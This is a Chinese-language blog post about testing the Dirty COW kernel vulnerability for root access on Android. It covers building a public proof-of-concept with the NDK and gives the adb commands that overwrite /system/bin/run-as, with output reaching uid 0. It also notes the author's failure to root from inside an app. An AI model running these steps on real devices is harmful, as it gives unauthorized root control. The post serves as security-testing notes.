dirtycow
最近曝光一个关于dirtycow的linux漏洞,准备在android下进行提权测试,以下是网上的一些观点和我自己的测试。一、关于编译在Windows7下的cygwin下编译windows设置环境变量,将android-ndk-r11路径添加到Path下cygwin下的找到一个 home\\.bash_profile 文件,添加NDK=/cygdrive/e/andro
最近曝光一个关于dirtycow的linux漏洞,准备在android下进行提权测试,以下是网上的一些观点和我自己的测试。
一、关于编译
在Windows7下的cygwin下编译
windows设置环境变量,将android-ndk-r11路径添加到Path下
cygwin下的找到一个 home\< 你的用户名 >\.bash_profile 文件,添加
NDK=/cygdrive/e/android-ndk-r5
export NDK
(其实在这里可能也不用,这是做android的ndk开发时用的,看这篇文章http://www.cnblogs.com/devinzhang/archive/2012/02/29/2373729.html)
makefile里这句
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
可以修改android版本,我原来用的ndkr10,发现没有21的版本,后来路径改为r11,中间老是报没有ndk-build文件,我找了半天原因,后来才发现在11下真的没有这个linux下的可执行文件,就从r10下拷过来了。需要注意run-as.c文件里的 <sys/capability.h>:注意,在 man 手册里使用 #include <sys/capability.h> 头文件。实际上,现在已经改为 #include <Linux/capability.h>
make成功
$ make
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
make[1]: 进入目录“/cygdrive/D/project/Android/android-ndk-r11/up”
[armeabi] Cygwin : Generating dependency file converter script
[armeabi] Compile thumb : dirtycow <= dirtycow.c
[armeabi] Executable : dirtycow
[armeabi] Install : dirtycow => libs/armeabi/dirtycow
[armeabi] Compile thumb : run-as <= run-as.c
[armeabi] Executable : run-as
[armeabi] Install : run-as => libs/armeabi/run-as
make[1]: 离开目录“/cygdrive/D/project/Android/android-ndk-r11/up”
后面可以执行makefile里的make push和make root进行测试。
$ make push
./adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
100 KB/s (13648 bytes in 0.132s)
./adb push libs/armeabi/run-as /data/local/tmp/run-as
77 KB/s (9552 bytes in 0.120s)
$ make root
./adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
137 KB/s (13648 bytes in 0.097s)
./adb push libs/armeabi/run-as /data/local/tmp/run-as
90 KB/s (9552 bytes in 0.103s)
./adb shell 'chmod 777 /data/local/tmp/run-as'
./adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
/system/bin/sh: /data/local/tmp/dirtycow: can't execute: Permission denied
./adb shell /system/bin/run-as
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x4fc
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x1
running as uid 2000
uid 0
在Ubuntu14.10下测试,老是报错:
make[1]: /home/joo/Desktop/android-sdk/android-ndk-r10/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc: Command not found
原因是我这个NDK是windows下的版本,在toolchains/arm-linux-androideabi-4.6/prebuilt下没有linux-x86这个目录,懒得折腾了,就这样了。
二、Android下App里面怎么提权
实际应用中我们肯定不是通过adb来对android进行提权,adb实现的是shell权限,在App中应用时用的用户权限,所以对run-as没有执行的权限,这大概就是selinux的机制吧。查看run-as的权限
-rwxr-x--- root shell 9444 2015-09-17 13:29 run-as
所以归根结底是还是没有对该漏洞完全了解,写不出自己利用的poc。几个文章链接
http://bbs.pediy.com/showthread.php?t=213391&highlight=dirtycow
http://bbs.pediy.com/showthread.php?t=213467&highlight=dirtycow
更多推荐
所有评论(0)